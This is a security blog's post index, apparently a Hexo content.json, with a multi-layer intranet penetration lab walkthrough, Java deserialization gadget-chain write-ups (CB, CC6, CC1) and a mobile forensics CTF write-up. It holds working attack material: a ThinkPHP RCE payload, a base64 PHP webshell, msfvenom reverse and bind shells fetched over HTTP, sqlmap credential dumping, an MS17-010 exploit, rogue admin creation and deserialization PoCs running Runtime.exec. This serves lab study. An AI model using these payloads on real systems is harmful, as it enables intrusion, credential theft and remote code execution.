-
Notifications
You must be signed in to change notification settings - Fork 0
/
content.json
1 lines (1 loc) · 324 KB
/
content.json
1
{"posts":[{"title":"CFS三层靶机-内网环境渗透","text":"<1>靶场介绍及环境配置三个主机的网络环境拓扑图,攻击机的网段在192.168.236.0/24,三台靶机的IP地址分别如图: 上面的 Target1、2、3分别对应CentOS7、Ubuntu、Windows7 三台主机。 (1)网卡配置注意:在编辑虚拟网卡的时候,不要勾选红圈那个选项,否则后面代理就就没有意义了。.ova文件导入到VM之后可以打开虚拟机,使用root:teamssix.com登录主机,通过ifconfig检查网络情况是否正常。 (2)宝塔配置其中Target1和Target2主机需要我们自己去宝塔后台配置一下(靶机描述信息里有密码 root:teamssix.com):进入宝塔面板,选择网站,再点击网站名,将centos靶机中c段为236的那个ip添加进去,确保能够访问到对应的web页面 <2>Target1(1)nmap扫描存活主机1234567891011121314151617181920212223242526#扫描段内存活主机┌──(root㉿kali)-[~]└─# nmap -sP 192.168.236.0/24 Nmap scan report for 192.168.236.141 (192.168.236.141)Host is up (0.00019s latency).#nmap扫描一下 Target1 开放的服务┌──(root㉿kali)-[~]└─# nmap -A -p 1-65535 192.168.236.141Nmap scan report for 192.168.236.141 (192.168.236.141)Host is up (0.00082s latency).Not shown: 65528 closed tcp ports (reset)PORT STATE SERVICE VERSION21/tcp open ftp Pure-FTPd22/tcp open ssh OpenSSH 7.4 (protocol 2.0)80/tcp open http nginx111/tcp open rpcbind 2-4 (RPC #100000)888/tcp open http nginx3306/tcp open mysql MySQL (unauthorized)8888/tcp open http Ajenti http control panelMAC Address: 00:0C:29:61:BA:F8 (VMware)Device type: general purposeRunning: Linux 3.X|4.XOS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4OS details: Linux 3.2 - 4.9Network Distance: 1 hop 可以看见开放了 21、22、80、111等等端口,我们访问一下80的http服务访问192.168.236.141 站点不存在,192.168.236.141/index.php 404 是因为宝塔后台配置的原因,按照前面提到的宝塔配置之后就不会出现这个情况。 (2)利用thinkphp-5.0.22 RCE漏洞拿shell访问80端口开放的http服务 访问后发现这是一个用thinkphp5版本搭建的网站,thinkphp5版本是有漏洞的,这里我们直接上thinkphpGUI工具,检测一下,发现存在ThinkPHP 5.0.22/5.1.29 RCE 1poc为:http://192.168.236.141/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 直接GetShell没通,无伤大雅,那我们执行命令去生成一个一句话木🐎(执行反弹shell命令也可) 1echo "<?php eval($_POST['1vxyz']); ?>" > shell.php 但是蚁剑连接失败,查看一下shell.php 发现内容中$_POST被过滤了 这个好说,base64加密绕过 1echo "PD9waHAgZXZhbCgkX1BPU1RbJzF2eHl6J10pOyA/Pg==" | base64 -d > shell.php 成功写入一句话木🐎,蚁剑连接在 flag21sA.txt和robots.txt 得到了两个flag 拿到shell之后,执行ifconfig,发现了另一个22网段ip:192.168.22.130。肯定就存在内网了 (3)上传msf后门(reverse_tcp)反向连接拿主机权限既然存在内网,那就要拿出来我们的msf美少妇工具了首先利用 msfevnom 生成一个msf后门,即elf的🐎 12345678910111213141516171819# 生成msf后门 其中lhost为kali_ipmsfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.236.128 lport=4444 -f elf > shell.elf#kali里python开一个http服务 用于蚁剑 wget下载 msf后门python -m http.server 8888# 蚁剑进入到可以下载文件的 /tmp目录wget http://192.168.236.128:8888/shell.elf# 赋予执行权限chmod +x shell.elf#在kali中运行监听模块root@kali:~# msfconsolemsf6 > use exploit/multi/handlermsf6 > set payload linux/x64/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > set lhost 192.168.236.128msf6 exploit(multi/handler) > set lport 4444msf6 exploit(multi/handler) > run#然后回到蚁剑 /tmp下 ./执行 elf木马./shell.elf 到这里我们的Target1:centos靶机已经上线 msf 了,下面开始内网渗透 <3>Target2现在还不能直接去nmap扫描内网里的ubuntu靶机ip,因为我们的网段设置,这里扫描是用的kali的ip扫描,模拟的环境中kali和centos是NAT下的同一个网段的公网主机,所以可以直接扫到,而现在扫的属于内网网段。 但是我们知道刚打下的centos是内网里的,因此我们需要挂上centos靶机的代理。 (1)路由信息探测我们使用msf自带的 探测网络接口的模块(get_local_subnets)查看路由的模块(autoroute -p)来进一步进行信息探测 123456789# 获取本地所在子网信息,可以看到存在22网段meterpreter > run get_local_subnets[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.[!] Example: run post/multi/manage/autoroute OPTION=value [...]Local subnet: 192.168.22.0/255.255.255.0Local subnet: 192.168.236.0/255.255.255.0# 查看路由信息,会发现还没有路由meterpreter > run autoroute -p[*] No routes have been added yet 路由:路由是指路由器从一个接口上收到数据包,根据数据包的目的地址进行定向并转发到另一个接口的过程,就相当于把我们要传输的数据先传输到该路由,再发往目标,我们可以通过设置路由的方式把我们的请求从centos网段发出,这样msf不就可以与22网段互通有无了吗),所以我们要来添加一个路由(autoroute -s) 静态路由配置 MSF 的 autoroute 模块是 MSF 框架中自带的一个路由转发功能,实现过程是 MSF 框架在已经获取的 Meterpreter Shell 的基础上添加一条去往“内网”的路由,直接使用 MSF 去访问原本不能直接访问的内网资源,只要路由可达我们既可使用 MSF 来进行探测了 12345#通过meterpreter添加22网段的路由信息,这样kali与centos就可以互通了run autoroute -s 192.168.22.0/24run autoroute -p#这一步也可以使用run post/multi/manage/autoroute自动添加路由run post/multi/manage/autoroute (2)msf的代理配置路由还有一个缺陷,它只能在这个msf建立的会话上使用,假如我们新开一个终端使用nmap扫描,还是扫不到,所以我们需要去进行 msf的代理配置。 msf有自己的代理模块,就是 auxiliary/server/socks_proxy ,我们先来开启代理服务,srvport端口随便,没被占用就行 1234567# 先切到控制台background# 配置socks5代理msf6 > use auxiliary/server/socks_proxymsf6 auxiliary(server/socks_proxy) > show optionsmsf6 auxiliary(server/socks_proxy) > set srvport 2222msf6 auxiliary(server/socks_proxy) > run 在kali中,通过vim /etc/proxychains4.conf修改proxychains配置文件: 写入: kali的ip和刚刚设置的端口 1socks5 192.168.236.128 2222 扫描靶机2 ubuntu的ip及其服务 可以用nmap扫描存活主机,也可以利用msf进行第二层网络存活主机扫描: use auxiliary/scanner/discovery/arp_sweep 123root@kali:~# proxychains4 nmap -Pn -sT 192.168.22.129 -p80-Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。-sT:扫描TCP数据包已建立的连接connect 能探测乌班图的端口,说明代理配置成功(前面的终端页面都不要关,路由必须设置才可以成功) 访问80端口开放的http服务,设置好浏览器代理后,访问看看 显示站点不存在,ubuntu这个靶机也需要去宝塔,把c段为22的 192.168.236.129添加进去 (3)利用bagecms-sql注入漏洞,admin登录后台拿shell配置完毕后访问,是一个bagecms搭建的平台 源码中给出了sql注入提示:Hint:SQL注入点:/index.php?r=vul&keyword=1/robots.txt 也给出了admin登录点 : /admini 靶场,不用在意那么多,直接sqlmap一把梭,因为需要挂代理才能访问到,所以命令前需要加上 proxychains4,同样 sqlmap也可以用参数 –proxy=socks5://192.168.236.128:2222keyword为注入点,所以可以在执行时加上 -p keyword 更快一点 1234567891011# 爆一下数据库名称proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -p keyword --dbs或sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --proxy=socks5://192.168.236.128:2222 -p keyword --dbs --batch# 爆破 bagecms 库下的表proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -p keyword -D "bagecms" --tables T "bage_admin" --batch# 爆破 bage_admin 表的字段proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -p keyword -D "bagecms" -T "bage_admin" --columns --batch# 把 admin的账号密码给 dump出来proxychains4 sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin -C username,password --dump# 测试了--is-dba,不是高权限,那就不尝试--os-shell了 拿到admin的账号和密码 admin:123qwe 登录CMS的后台看一看有些什么,/index.php?r=/admini/ 在首页就发现了flag 在模板一栏可以修改文件,在 tag/index.php 写入一句话🐎: 提交之后,打开蚁剑,设置代理 socks5为 kaliip为192.168.236.128 port为2222 也可以用 Sockscap挂上msf开启的socks5代理 在里面添加蚁剑程序打开蚁剑 注意这里的网址使用的是模块化,不能直接加在网站上,要用?r=模块文件 的方式访问模块文件,再用蚁剑连接 测试连接,写入成功 (3)上传msf后门(bind_tcp)正向连接拿ubuntu主机权限然后和前面target1差不多,msf生成后门,上传到蚁剑 www/wwwroot/upload那个目录。不能通过wget了,好像是代理设置的原因,我是直接kali里生成,下载到windows上,然后上传文件上传上去的 123456# 生成一个正向连接后门(因为内网主机无法直接与本机通信,因此无法建立反向连接,需要本机通过代理连接到目标机)# 蚁剑中 uname -a 可以看到这是一个64位的linux系统msfvenom -p linux/x64/meterpreter/bind_tcp lport=3333 -f elf > shell2.elf# 后门程序上传之后在Webshell执行命令chmod +x shell2.elf./shell2.elf 在MSF中开启监听,与Target2建立连接,这里需要注意,上一次代理使用的reverse_tcp是MSF作为监听,让Target1连到我们,而这次代理使用的bind_tcp是Target2作为监听,我们需要连到Target2,这个逻辑正好是相反的 同样,如果我们要用msf 另起一个终端开启监听,这里要注意,msf新开的终端之前的那个终端的配置都用不了。 然而这次代理使用的bind_tcp是Target2作为监听,我们要正向连接到内网里的target2,所以不能直接msfconsole打开,msf这里也需要走代理 ,就是在用 proxychains msfconsole来启动msf,再设置payload,设置rhost,lport run 即可开启监听 ……有点套娃 可以参考这个图好理解一些: 实际上继续用那个终端就行 123456# 本机MSF执行命令use exploit/multi/handlerset payload linux/x64/meterpreter/bind_tcpset RHOST 192.168.22.129set LPORT 3333run 12345shell# 转化为交互式python -c 'import pty;pty.spawn("/bin/bash");'# 查看网络信息ifconfig 信息搜集,ifconfig看到了c段为33 的ip,还存在一个内网 还有一层内网? 继续 msf,下面的操作就有点重复之前的操作了 确定内网c段 -> msf添加路由 <4>Target3(1)路由信息探测与之前一样,我们添加Target3的路由,由于还在那个终端里,auxiliary/server/socks_proxy正在执行,所以添加了新路由,也就可以访问新路由内网,这里就不用设置代理了,直接添加路由即可 123#通过meterpreter添加33网段的路由信息,这样kali与ubuntu就可以互通了run autoroute -s 192.168.33.0/24run autoroute -p nmap扫描一下target3靶机开放的服务 能探测乌班图的端口,说明代理配置成功(前面的终端页面都不要关,路由必须设置才可以成功) (2)利用ms17-010永恒之蓝漏洞拿shell必须添加路由。 可以看到 target3是 开放着445、3389端口的Win7系统,熟悉的永恒之蓝。msf里现成的ms17-010打一下 12345use exploit/windows/smb/ms17_010_psexecset payload windows/x64/meterpreter/bind_tcpset RHOSTS 192.168.33.33set LPORT 6666run ms17-010漏洞利用成功,shell进入命令行 1netstat -ant 发现网站开启了3389,同时是system权限: 还看见了我们的shell…. 查看账户,直接修改账户密码。利用3389连接 或者 添加一个用户 1234net user administrator 123456或net user /add 1vxyz 123456net localgroup administrators /add 1vxyz win+r mstsc 打开远程桌面连接。在SocksCap中运行连接远程桌面程序mstsc.exe才可以,这里我电脑上没找到。还有一种方法 portfwd端口转发/映射 portfwd add -l 5555 -p 3389 -r 192.168.33.33 Win+r 输入mstsc 最后的flag就在这台win7的桌面上,至此靶场打穿,三个flag拿到 <5>总结从最初的下载靶机,开启 到现在结束,断断续续统共花费了很多个小时。期间 连开四台虚拟机,有电脑卡的蓝屏动不了关机… 也有对宝塔配置、内网知识的不了解,跟着wp走却访问不了。还有途中不断解决问题时session一直掉,最后一步的远程桌面没打开等等。到后面一步一步啃完,也是学到了很多东西。 0.0 渗透小白终于打破 天天听说却不知道是什么东西,害怕没搞过搞不下来的想法,打下了第一个简单的内网靶场。后续抽时间继续深入学习,万事开头难,希望是一个好兆头,加油! 学到用到的一些东西: thinkphp-GUI,sqlmap工具 msf后门制作 & msf 正向反向shell 路由的概念 msf内网代理模块 & sockscap64代理工具 ms17-010漏洞 跳板攻击之msf-portfwd端口转发 3389远程桌面登录 参考:内有靶机环境下载地方","link":"/2023/09/20/CFS%E4%B8%89%E5%B1%82%E9%9D%B6%E6%9C%BA-%E5%86%85%E7%BD%91%E7%8E%AF%E5%A2%83%E6%B8%97%E9%80%8F/"},{"title":"Java反序列化Commons-Beanutils篇-CB链","text":"<1> 环境介绍jdk:jdk8u65CB:commons-beanutils 1.8.3pom.xml 添加 12345678910<dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version> </dependency> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </dependency> <2> 什么是CommonsBeanutils和JavaBean?CommonsBeanutils 是应用于 javabean 的工具,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法 那 什么是JavaBean呢? JavaBean 是一种JAVA语言写成的可重用组件,它是一个类 所谓javaBean,是指符合如下标准的Java类: 类是公共的 有一个无参的公共的构造器 有私有属性,且须有对应的get、set方法去设置属性 对于boolean类型的成员变量,允许使用”is”代替上面的”get”和”set” 在java中,有很多类定义都符合这样的规范 比如这样一个类 12345678910111213public class Person { private String name; // 属性一般定义为private public Person(String name) { this.name = name; } public String getName() { //读方法 return name; } public void setName(String n) { //写方法 name = n; }} 它包含了一个私有属性name,以及读取和设置这个属性的两个public方法 getName()和setName(),即getter和setter 这种 class 就是 JavaBean 用于对属性赋值的方法称为属性修改器或setter方法,用于读取属性值的方法称为属性访问器或getter方法 只有getter的属性称为只读属性(read-only),例如,定义一个age只读属性: 对应的读方法是int getAge() 无对应的写方法setAge(int) 类似的,只有setter的属性称为只写属性(write-only) 注:属性只需要定义getter和setter方法,不一定需要对应的字段,例如,child只读属性定义如下: 1234567891011121314public class Person { private String name; private int age; public String getName() { return this.name; } public void setName(String name) { this.name = name; } public int getAge() { return this.age; } public void setAge(int age) { this.age = age; } public boolean isChild() { return age <= 6; }} <3> CommonsBeanutils利用点commons-beanutils中提供了一个静态方法PropertyUtils.getProperty(),可以让使用者直接调用任意JavaBean的getter方法 PropertyUtils.getProperty()传入两个参数,第一个参数为 JavaBean 实例,第二个是 JavaBean 的属性 比如: 12345Person person = new Person("Mike");PropertyUtils.getProperty(person,"name");# 等价于Person person = new Person("Mike");person.getName(); 除此之外, PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过 PropertyUtils.getProperty(a, “b.c”); 的方式进行递归获取。通过这个方法,使用者可以很方便地调用任意对象的getter 因此,如果getter方法存在可以rce的点可以利用的话,就存在安全问题了。 commons-beanutils里还有很多其他的辅助方法,setter等等,这里分析CB链暂时用不到 不再叙述 <4> 利用链分析在前面的CC链中,我们提到过一种利用 TemplatesImpl 动态加载恶意类来实现rce 它的链子为: 1234567/*TemplatesImpl#getOutputProperties() TemplatesImpl#newTransformer() TemplatesImpl#getTransletInstance() TemplatesImpl#defineTransletClasses() TransletClassLoader#defineClass()*/ 重点看:TemplatesImpl#getOutputProperties() getOutputProperties()方法即其 _outputProperties 属性的 getter 方法是加载恶意字节码的起点,我们可以利用 前面提到的,commons-beanutils里的PropertyUtils.getProperty()去调用getter 那么往上找链子,CB链里 哪个位置调用了getProperty呢? 在之前的CC2/4的链中我们用到了java.util.PriorityQueue的readObject触发反序列化,主要是通过调用了其TransformingComparator的compare方法,进而调用了transform链的调用 而 CommonsBeanutils 利用链中核心的触发位置就是 BeanComparator.compare() 函数,当调用 BeanComparator.compare() 函数时,其内部会调用我们前面说的 getProperty 函数,进而调用 JavaBean 中对应属性的 getter 函数 这里会调用PropertyUtils.getProperty()方法 因此通过给 o1赋值构造好的templates对象,property赋值为TemplatesImpl的 outputProperties属性,即可调用 TemplatesImpl.getOutputProperties() 往下就是TemplatesImpl的利用链 那么往上找 哪里调用 compare()呢 可以利用CC2/4链中用的 PriorityQueue.readObject() 因此整体的CB链就是 12345678PriorityQueue.readObject() -> BeanComparator.compare() -> PropertyUtils.getProperty() -> TemplatesImpl.getOutputProperties() -> TemplatesImpl#newTransformer() -> ................ -> TransletClassLoader.defineClass() -> Evil.newInstance() 前面的CC2文章提到了,queue的size应该>2。 而add()也会执行compare由于在BeanComparator#compare() 中,如果 this.property 为空,则直接比较这两个对象。这里实际上就是对1、2进行排序。 1234BeanComparator comparator = new BeanComparator();PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);queue.add(1);queue.add(2); 初始化时使用正经对象,且 property 为空,这一系列操作是为了初始化的时候不要出错。然后,我们再用反射将 property 的值设置成恶意的 outputProperties ,将add进队列里的1、2替换成恶意的TemplateImpl 对象 1setFieldValue(comparator,"property","outputProperties"); 与CC2/4 略微不同的是,还需要用反射去修改 queue属性的值,因为要控制 BeanComparator.compare()的参数为恶意templates对象 1setFieldValue(queue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数 EXP如下: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CB1 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "1vxyz"); byte[] code = Files.readAllBytes(Paths.get("evil.class路径")); byte[][] codes = {code}; setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); BeanComparator comparator = new BeanComparator(); PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); queue.add(1); queue.add(2); setFieldValue(queue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数 setFieldValue(comparator,"property","outputProperties"); serialize(queue); unserialize("CB-bin/CB1.bin"); } public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CB-bin/CB1.bin")); oos.writeObject(obj); } public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); }} shiro550中自带CommonsBeanutils 1.8.3 和 commons-collections-3.2.1的依赖,可以利用此条链进行攻击","link":"/2023/07/30/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Beanutils%E7%AF%87-CB%E9%93%BE/"},{"title":"2023蓝帽杯半决赛电子取证","text":"前言初赛取证没有复现完,本来以为成绩会很低,但是比赛取证考察手机和apk取证,范围小一些 刚好赛前在突击这些方面,最终取证也没拉分 反而还提分了哈哈 记录一下 web题目考点 … 感觉没有什么学习的意义 不写了 记录一下这次取证 [TOC] 取证取证案情介绍:2023年初,某地公安机关抓获一个网络诈骗技术嫌疑人,公安机关在扣押嫌疑人后,对嫌疑人手机进行数据提取,在提取完成分析发现嫌疑人将通话记录及短信记录进行了删除,根据嫌疑人交代,其在删除通话及短信记录前使用过同伙编写的测试软件,该安卓程序会读取通话及短信记录并存放到手机中。由于通话和短信记录对案件很重要,请参赛队员分析手机镜像及对应apk,完成取证题目 1. 检材数据开始提取是今年什么时候?(答案格式:04-12 13:26)注意是开始提取的时间 log文件里找任务开始时间即可 答案:09-11 17:21 2. 嫌疑人手机SD卡存储空间一共多少GB?(答案格式: 22.5)比赛申请的手机取证软件打开即可 编辑 答案:24.32 3. 嫌疑人手机设备名称是?(答案格式:adfer)答案:sailfish 4. 嫌疑人手机IMEI是?(答案格式:3843487568726387)编辑 答案:352531082716257 5. 嫌疑人手机通讯录数据存放在那个数据库文件中?(答案格式:call.db)编辑 答案:contacts.db 6. 嫌疑人手机一共使用过多少个应用?(答案格式:22)这个做错了,手机上一共有205个软件,删过一个 应用日志有205个 所以直接填了 应该是要仔细看具体用过哪些个的 答案:? 7. 测试apk的包名是?(答案格式:con.tencent.com)提取出来测试文件的apk Android killer 打开 编辑 答案:com.example.myapplication 8. 测试apk的签名算法是?(答案格式:AES250)jadx反编译一下apk,在 APK signature可以看到 编辑 答案:SHA256withRSA 9. 测试apk的主入口是?(答案格式:com.tmp.mainactivity)android killer打开即可看到 编辑 答案:com.example.myapplication.MainActivity 10. 测试apk一共申请了几个权限?(答案格式:7)编辑 答案:3 11. 测试apk对Calllog.txt文件内的数据进行了什么加密?(答案格式:DES)这道题错了 不知道为什么 格式问题? 不过应该就是base64加密 编辑 编辑 答案:? 12. 10086对嫌疑人拨打过几次电话?(答案格式:5)从第11可知 calllog.txt 是进行了base64加密的,找到calllog.txt base64解密即可得到通话记录 编辑 答案:2 13. 测试apk对短信记录进行了几次加密?(答案格式:5)先AES 后 base64 两次加密 编辑 答案:2 14. 测试apk对短信记录进行加密的秘钥是?(答案格式:slkdjlfslskdnln)跟进 encryptData()里的key String key = Getkey(); 跟到了 public native String Getkey(); 问了问二进制手 需要去逆一下 .so文件里 函数逻辑 来得到密钥 交给逆向了直接 求出来之后解15题能解出来,也可以变向证明这道题逆对了 答案:bGlqdWJkeWhmdXJp 15. 嫌疑人在2021年登录支付宝的验证码是?(答案格式:3464)根据第 13 14题,可知SMS.txt的加密逻辑和密钥,用密钥 AES解密即可还原短信内容 编辑 答案:9250","link":"/2023/09/20/2023%E8%93%9D%E5%B8%BD%E6%9D%AF%E5%8D%8A%E5%86%B3%E8%B5%9B%E7%94%B5%E5%AD%90%E5%8F%96%E8%AF%81/"},{"title":"Java反序列化Commons-Collection篇02-CC6链","text":"<1>环境分析实际上 CC6链子 又是CC1的一个变种 没有版本限制找到这个漏洞的人又开辟出 一个新的线路 通过 TiedMapEntry.hashcode() 去触发 CC1里的 LazyMap.get() 这里我们是继续沿用的CC1 的项目jdk版本:jdk8u65pom.xml内容: 12345678<dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency></dependencies> <2> 链子分析12345678910111213/* Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec() 首先 LazyMap().get()->InvokerTransformer.transform() 这段代码是不变的 我们通过 TiedMapEntry的hashcode方法 TiedMapEntry.hashcode()里 会执行 getValue()再来看一下getValue()方法 这里会 return一个 map.get() 如果我们把map构造成上面的 LazyMap 那不就实现了 LazyMap.get()??? HashMap.put() 去触发 TiedMapEntry() 但是这里和我们在上面学习URLDNS链差不多,也有一个需要注意的点 比如我们在URLDNS链子的时候,在Hashmap.put()的时候,hashMap类就调用了hash方法,并且在URLStreamHandler抽象类的hashCode()函数中判断URLStreamHandler的hashcode属性值。不为初始化的值(-1)时会直接返回,由于在序列化的时候已经进行了hashCode计算,所以在 反序列化时 hashcode属性值不为-1 就不会向下进行 URL.hashcode() 因此实际上我们收到的DNS请求是在put的时候执行的,而不是反序列化执行的 背离了我们本意 然而CC6的话,是通过HashMap.put() -> TiedMapEntry.hashCode() -> LazyMap.get() 我们看一下LazyMap 的 get 方法 它会判断key是否存在,不存在的话,才会去执行 factory.transform() 因此我们需要在生成序列化对象的时候,将LazyMap对象里的那个map的key置空。 因为在put的时候,链子会执行一次,为了不影响 我们先不给factory赋值构造的transformers,随便赋值一个没用的factory–new ConstantTransformer(1)。 又是因为factory类型是protected final Transformer factory 后面在序列化前我们需要利用反射 改回来 poc如下: 1234567891011121314151617181920212223242526272829303132333435363738394041public class CC6Test { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa"); HashMap<Object,Object> map2 = new HashMap<>(); map2.put(tiedMapEntry,"bbb"); //本地执行put时,会调用 tiedmapTntry.hashcode lazyMap.get("aaa") 会让lazyMap key不为flase lazyMap.remove("aaa"); //remove掉put时 lazyMap里的key 使反序列化时能进入transform Class c = LazyMap.class; Field factory = c.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazyMap,chainedTransformer); //反射修改lazyMap里的factory //serialize(map2); unserialize("sercc6.bin"); } public static void serialize(Object o) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc6.bin")); oos.writeObject(o); } public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); }}","link":"/2023/06/05/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collection%E7%AF%8702-CC6%E9%93%BE/"},{"title":"Java反序列化Commons-Collection篇01-CC1链","text":"<1> 环境配置因为CC1链在jdk 8u71后就修复了 因此我们复现就利用 8u65的版本 去官网下载 jdk8u65https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html 然后去 下载openjdkhttp://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/af660750b2f4/把下载的openjdk里 /share/classes/ 里面的 sun包 复制到 jdk1.8.0_65里 打开IDEA 新建一个Maven项目 选择 org.apache.maven.archetypes:maven-archetype-webapp 导入commons collections maven依赖 将下面写入到 pom.xml 里 1234567<dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency></dependencies> 然后打开 IDEA 文件->项目结构-> SDK -> 源路径设置 填上刚才设置的的src目录 在src目录下右键创建java目录 resource目录 这里IDEA在src创建目录时提供了这两个选项 直接创建即可 <2> 链子分析 123456789101112131415161718192021/* Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */ (1) 找Sink链子主要用到的是这个 transformer接口。这个接口就接受一个Object类然后利用方法transform InvokerTransformer 相当于帮我们实现了一个反射调用,参数都可控 因此我们可以通过 InvokerTransformer类的 transform 方法来invoke Runtime类getRuntime对象的exec实现 rce 代码如下: 123456789public class CC1Test { public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime r = Runtime.getRuntime(); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r); }} 所以我们也就找到了CC1链的 Sink点 — InvokerTransformer::transform() (2) 找gadget在知道了 InvokerTransformer::transform()可以rce之后,我们就找一下 哪些类可以调用 InvokerTransformer.transform()方法 查找一下 transform() 的用法: 发现TransformedMap类的 checkSetValue() 里使用了 valueTransformer调用transform() 而这个 valueTransformer参数是否可控呢? 是什么类型呢? 我们跟进查看一下 TransformedMap类 TransformedMap类123456789101112131415//构造方法 但是是protected类型的 protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }//可以利用decorate方法来生成 TransformedMap实例 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } protected Object checkSetValue(Object value) { return valueTransformer.transform(value); } 这里可以看到 valueTransformer是Transformer类型,而且构造函数里可以直接赋值 可控。 如果我们可以调用 TransformedMap的checkSetValue方法,那我们给 valueTransformer 赋值 构造的InvokerTransformer实例 就可以通过 valueTransformer.transform(value); 实现 InvokerTransformer.transform(value); 从而 rce 继续找入口点,去触发checkSetValue 跟进查看 发现只有 父类 AbstractInputCheckedMapDecorator抽象类里的 MapEntry 的setValue() 调用了checkSetValue() 因此我们可以再次构造一个链子 实现rce代码如下: 12345678910111213141516171819202122import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.IOException;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;public class CC1Test { public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object,Object> map = new HashMap<>(); map.put("key","value"); Map<Object,Object> transfromedMap = TransformedMap.decorate(map, null, invokerTransformer); for(Map.Entry entry:transfromedMap.entrySet()){ entry.setValue(r); } }} (3) 找反序列化入口点继续找链子,最终我们应该找到的是一个 继承了Serialize接口的,实现了readObject()方法且方法里调用了链子里的某个函数。 如果找不到序列化入口点的话,就需要再看看哪个类里面调用了触发setValue()的方法,实现entry.setValue()的效果,需要多走一层 但是CC1里刚好,AnnotationInvocationHandler类readObject里面的readObject方法调用了setValue 且可被利用 循环遍历了map,且对 membervalue调用了setValue。完美符合了我们刚才测试代码的格式 我们跟进看一下 AnnotationInvocationHandler类 有什么是可以控制的 